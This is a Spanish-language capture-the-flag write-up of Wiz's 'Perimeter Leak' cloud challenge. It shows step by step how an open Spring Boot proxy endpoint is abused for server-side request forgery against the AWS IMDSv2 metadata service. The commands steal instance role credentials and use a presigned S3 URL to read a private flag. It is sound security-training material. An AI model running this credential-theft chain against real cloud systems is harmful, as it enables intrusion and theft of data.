Saltar a contenido

WriteUp: Cloud Security Championship #1

El Cloud Security Championship organizado por Wiz ha lanzado su primer reto. Durante los próximos 12 meses irán publicando diferentes retos, cada uno preparado por uno de sus researchers.

Este primer reto se llama Perimeter Leak y nos indica que debemos encontrar un secreto en un bucket de S3.

Perimeter Leak Cloud Security Championship #1

Empezamos el reto con acceso a una terminal y una URL de un "Spring Boot Actuator application running on AWS":

Terminal

Enumeración

No tenemos experiencia previa con esta tecnología, pero lo primero es siempre ver cuál es la posible superficie de exposición.

Encontramos que podemos listar los diferentes endpoints del Spring Boot Actuator en /actuator:

user@monthly-challenge:~$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/actuator" | jq .
Output
{
  "_links": {
    "self": {
      "href": "http://127.0.0.1:8080/actuator",
      "templated": false
    },
    "beans": {
      "href": "http://127.0.0.1:8080/actuator/beans",
      "templated": false
    },
    "caches": {
      "href": "http://127.0.0.1:8080/actuator/caches",
      "templated": false
    },
    "caches-cache": {
      "href": "http://127.0.0.1:8080/actuator/caches/{cache}",
      "templated": true
    },
    "health": {
      "href": "http://127.0.0.1:8080/actuator/health",
      "templated": false
    },
    "health-path": {
      "href": "http://127.0.0.1:8080/actuator/health/{*path}",
      "templated": true
    },
    "info": {
      "href": "http://127.0.0.1:8080/actuator/info",
      "templated": false
    },
    "conditions": {
      "href": "http://127.0.0.1:8080/actuator/conditions",
      "templated": false
    },
    "configprops": {
      "href": "http://127.0.0.1:8080/actuator/configprops",
      "templated": false
    },
    "configprops-prefix": {
      "href": "http://127.0.0.1:8080/actuator/configprops/{prefix}",
      "templated": true
    },
    "env": {
      "href": "http://127.0.0.1:8080/actuator/env",
      "templated": false
    },
    "env-toMatch": {
      "href": "http://127.0.0.1:8080/actuator/env/{toMatch}",
      "templated": true
    },
    "loggers": {
      "href": "http://127.0.0.1:8080/actuator/loggers",
      "templated": false
    },
    "loggers-name": {
      "href": "http://127.0.0.1:8080/actuator/loggers/{name}",
      "templated": true
    },
    "threaddump": {
      "href": "http://127.0.0.1:8080/actuator/threaddump",
      "templated": false
    },
    "metrics-requiredMetricName": {
      "href": "http://127.0.0.1:8080/actuator/metrics/{requiredMetricName}",
      "templated": true
    },
    "metrics": {
      "href": "http://127.0.0.1:8080/actuator/metrics",
      "templated": false
    },
    "sbom": {
      "href": "http://127.0.0.1:8080/actuator/sbom",
      "templated": false
    },
    "sbom-id": {
      "href": "http://127.0.0.1:8080/actuator/sbom/{id}",
      "templated": true
    },
    "scheduledtasks": {
      "href": "http://127.0.0.1:8080/actuator/scheduledtasks",
      "templated": false
    },
    "mappings": {
      "href": "http://127.0.0.1:8080/actuator/mappings",
      "templated": false
    }
  }
}

Probando diferentes endpoints encontramos el nombre del bucket como variable de entorno en /actuator/env:

user@monthly-challenge:~$ curl -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator/env | jq .
  [...]
        "BUCKET": {
          "value": "challenge01-470f711",
          "origin": "System Environment Property \"BUCKET\""
        },
  [...]

Pero no tenemos acceso todavía.

Hay otro endpoint interesante /actuator/mappings donde se listan las diferentes "request-handling classes" configuradas. La de /proxy llama nuestra atención:

user@monthly-challenge:~$ curl https://ctf:[email protected]/actuator/mappings | jq .

            {
              "predicate": "{ [/proxy], params [url]}",
              "handler": "challenge.Application#proxy(String)",
              "details": {
                "handlerMethod": {
                  "className": "challenge.Application",
                  "name": "proxy",
                  "descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
                },
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [],
                  "params": [
                    {
                      "name": "url",
                      "negated": false
                    }
                  ],
                  "patterns": [
                    "/proxy"
                  ],
                  "produces": []
                }
              }
            },

Acceso al proxy

Probamos a acceder a nuestro blog...

Proxy endpoint

Error: 418 I_AM_A_TEAPOT "This proxy can only be used to contact host names that match IP addresses or include amazonaws.com"

...pero el proxy solo puede usarse para acceder a URLs de Amazon o IPs.

¿Puede ser que podamos acceder directamente al bucket usando el proxy?

$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://challenge01-470f711.s3.amazonaws.com/"
HTTP error: 403 Forbidden

¿Y si probamos con un bucket que sabemos que es público?

Proxy endpoint

Error: 418 I_AM_A_TEAPOT "Response size is too big. If you're hitting this error, you're heading in the wrong direction."

No

Sabiendo que el servicio esta corriendo en AWS, ¿y si probamos a acceder al endpoint de IMDS (Instance Metadata Service)?

$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"

HTTP error: 401 Unauthorized

No

Parece que se trata de IMDSv2, por lo que necesitamos primero hacer un PUT para pedir el token.

Lo cual no es problema ya que el proxy decía que enviaba tanto los headers como los diferentes tipos de petición.

$ TOKEN=$(curl -X PUT -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
[...]

Vamos a sacar las credenciales de la instancia:

$ ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/")

$ echo $ROLE_NAME
challenge01-5592368

$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME"
{
  "Code" : "Success",
  "LastUpdated" : "2025-06-30T13:29:21Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA***********",
  "SecretAccessKey" : "***********",
  "Token" : "***********",
  "Expiration" : "2025-06-30T19:57:22Z"
}
$ aws sts get-caller-identity
{
    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
    "Account": "092297851374",
    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}

Probablemente esto habría hecho saltar una alerta en algún sitio si fuera un escenario real 😅.

Acceso al bucket

Ya tenemos credenciales, y sabemos el nombre del bucket, veamos que tiene:

$ aws s3 ls s3://challenge01-470f711 --recursive
2025-06-18 19:15:24         29 hello.txt
2025-06-17 00:01:49         51 private/flag.txt

$ aws s3 cp s3://challenge01-470f711/hello.txt -
Welcome to the proxy server.

$ aws s3 cp s3://challenge01-470f711/private/flag.txt -
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden

No

¿Habrá alguna policy impidiendo el acceso?

$ aws s3api get-bucket-policy --bucket challenge01-470f711 | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::challenge01-470f711/private/*",
      "Condition": {
        "StringNotEquals": {
          "aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
        }
      }
    }
  ]
}

Probablemente la instancia donde corre el proxy tenga acceso al VPC endpoint, pero seguimos necesitando generar una URL prefirmada para que tenga permiso para acceder al objeto.

$ PRESIGNEDURL=$(aws s3 presign s3://challenge01-470f711/private/flag.txt | jq -R -r @uri)

$ echo $PRESIGNEDURL
https%3A%2F%2Fchallenge01-470f711.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz-Credential%[REDACTED]

Necesitamos usar @uri para codificar la URL y poder pasarla como parámetro, ya que de lo contrario la petición falla.

curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=https%3A%2F%2Fchallenge01-470f711.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz-Credential%[REDACTED]"

The flag is: WIZ_CTF_[REDACTED]

¡Y lo tenemos!

Conclusión

Este primer reto del Cloud Security Championship de Wiz ha sido un excelente ejemplo de una cadena de vulnerabilidades bastante realista en un entorno Cloud.

Como comentamos hace poco en LinkedIn, los SSRF no pasan de moda. 😉

Muchas ganas de ver lo que nos espera en el próximo reto.

Saludos, y que la fuerza os acompañe.